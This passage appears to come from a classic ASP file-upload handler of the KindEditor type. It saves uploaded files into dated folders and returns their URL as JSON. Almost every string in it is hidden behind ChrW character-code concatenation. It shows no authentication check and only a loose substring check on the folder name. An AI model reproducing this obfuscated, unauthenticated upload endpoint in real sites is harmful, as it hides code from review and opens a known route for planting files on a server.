fileExtStr = ChrW(116)&ChrW(120)&ChrW(116)&ChrW(124)&ChrW(100)&ChrW(111)&ChrW(99)&ChrW(124)&ChrW(112)&ChrW(100)&ChrW(102)&ChrW(124)&ChrW(100)&ChrW(111)&ChrW(99)&ChrW(120)&ChrW(124)&ChrW(120)&ChrW(108)&ChrW(115)&ChrW(124)&ChrW(120)&ChrW(108)&ChrW(115)&ChrW(120)&ChrW(124)&ChrW(112)&ChrW(112)&ChrW(116)&ChrW(124)&ChrW(112)&ChrW(112)&ChrW(116)&ChrW(120)&ChrW(124)&ChrW(122)&ChrW(105)&ChrW(112)&ChrW(124)&ChrW(114)&ChrW(97)&ChrW(114)&ChrW(124)&ChrW(103)&ChrW(122)&ChrW(124)&ChrW(98)&ChrW(122)&ChrW(50)
maxSize = 1024 * 1024 * 1024
Set fso = Server.CreateObject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(70)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(83)&ChrW(121)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(109)&ChrW(79)&ChrW(98)&ChrW(106)&ChrW(101)&ChrW(99)&ChrW(116))
If Not fso.FolderExists(Server.mappath(savePath)) Then
showError(ChrW(19978)&ChrW(20256)&ChrW(30446)&ChrW(24405)&ChrW(19981)&ChrW(23384)&ChrW(22312)&ChrW(12290))
End If
dirName = Request.QueryString(ChrW(100)&ChrW(105)&ChrW(114))
If isEmpty(dirName) Then
dirName = ChrW(105)&ChrW(109)&ChrW(97)&ChrW(103)&ChrW(101)
End If
If instr(lcase(ChrW(105)&ChrW(109)&ChrW(97)&ChrW(103)&ChrW(101)&ChrW(44)&ChrW(102)&ChrW(108)&ChrW(97)&ChrW(115)&ChrW(104)&ChrW(44)&ChrW(109)&ChrW(101)&ChrW(100)&ChrW(105)&ChrW(97)&ChrW(44)&ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)), dirName) < 1 Then
showError(ChrW(30446)&ChrW(24405)&ChrW(21517)&ChrW(19981)&ChrW(27491)&ChrW(30830)&ChrW(12290))
End If
Select Case dirName
Case ChrW(102)&ChrW(108)&ChrW(97)&ChrW(115)&ChrW(104) extStr = flashExtStr
Case ChrW(109)&ChrW(101)&ChrW(100)&ChrW(105)&ChrW(97) extStr = mediaExtStr
Case ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101) extStr = fileExtStr
Case Else  extStr = imageExtStr
End Select
set upload = new AnUpLoad
upload.Exe = extStr
upload.MaxSize = maxSize
upload.GetData()
if upload.ErrorID>0 then
showError(upload.Description)
end if
savePath = savePath & dirName & ChrW(47)
saveUrl = saveUrl & dirName & ChrW(47)
If Not fso.FolderExists(Server.mappath(savePath)) Then
fso.CreateFolder(Server.mappath(savePath))
End If
mm = month(now)
If mm < 10 Then
mm = "0" & mm
End If
dd = day(now)
If dd < 10 Then
dd = "0" & dd
End If
ymd = year(now) & mm & dd
savePath = savePath & ymd & ChrW(47)
saveUrl = saveUrl & ymd & ChrW(47)
If Not fso.FolderExists(Server.mappath(savePath)) Then
fso.CreateFolder(Server.mappath(savePath))
End If
set file = upload.files(ChrW(105)&ChrW(109)&ChrW(103)&ChrW(70)&ChrW(105)&ChrW(108)&ChrW(101))
if file is nothing then
showError(ChrW(-29705)&ChrW(-28663)&ChrW(25321)&ChrW(25991)&ChrW(20214)&ChrW(12290))
end if
result = file.saveToFile(savePath, 0, true)
if result then
showError(file.Exception)
end if
filePath = Server.mappath(savePath & file.filename)
fileUrl = saveUrl & file.filename
localname = file.LocalName
Set upload = nothing
Set file = nothing
If Not fso.FileExists(filePath) Then
showError(ChrW(19978)&ChrW(20256)&ChrW(25991)&ChrW(20214)&ChrW(22833)&ChrW(-29403)&ChrW(12290))
End If
Response.AddHeader ChrW(67)&ChrW(111)&ChrW(110)&ChrW(116)&ChrW(101)&ChrW(110)&ChrW(116)&ChrW(45)&ChrW(84)&ChrW(121)&ChrW(112)&ChrW(101), ChrW(116)&ChrW(101)&ChrW(120)&ChrW(116)&ChrW(47)&ChrW(104)&ChrW(116)&ChrW(109)&ChrW(108)&ChrW(59)&ChrW(32)&ChrW(99)&ChrW(104)&ChrW(97)&ChrW(114)&ChrW(115)&ChrW(101)&ChrW(116)&ChrW(61)&ChrW(71)&ChrW(66)&ChrW(50)&ChrW(51)&ChrW(49)&ChrW(50)
Set hash = jsObject()
hash(ChrW(101)&ChrW(114)&ChrW(114)&ChrW(111)&ChrW(114)) = 0
hash(ChrW(117)&ChrW(114)&ChrW(108)) = fileUrl
hash(ChrW(116)&ChrW(105)&ChrW(116)&ChrW(108)&ChrW(101)) = localname
hash.Flush
Response.End
Function showError(message)
Response.AddHeader ChrW(67)&ChrW(111)&ChrW(110)&ChrW(116)&ChrW(101)&ChrW(110)&ChrW(116)&ChrW(45)&ChrW(84)&ChrW(121)&ChrW(112)&ChrW(101), ChrW(116)&ChrW(101)&ChrW(120)&ChrW(116)&ChrW(47)&ChrW(104)&ChrW(116)&ChrW(109)&ChrW(108)&ChrW(59)&ChrW(32)&ChrW(99)&ChrW(104)&ChrW(97)&ChrW(114)&ChrW(115)&ChrW(101)&ChrW(116)&ChrW(61)&ChrW(71)&ChrW(66)&ChrW(50)&ChrW(51)&ChrW(49)&ChrW(50)
Dim hash
Set hash = jsObject()
hash(ChrW(101)&ChrW(114)&ChrW(114)&ChrW(111)&ChrW(114)) = 1
hash(ChrW(109)&ChrW(101)&ChrW(115)&ChrW(115)&ChrW(97)&ChrW(103)&ChrW(101)) = message
hash.Flush
Response.End
End Function
Response.Write(vbCrLf)
%>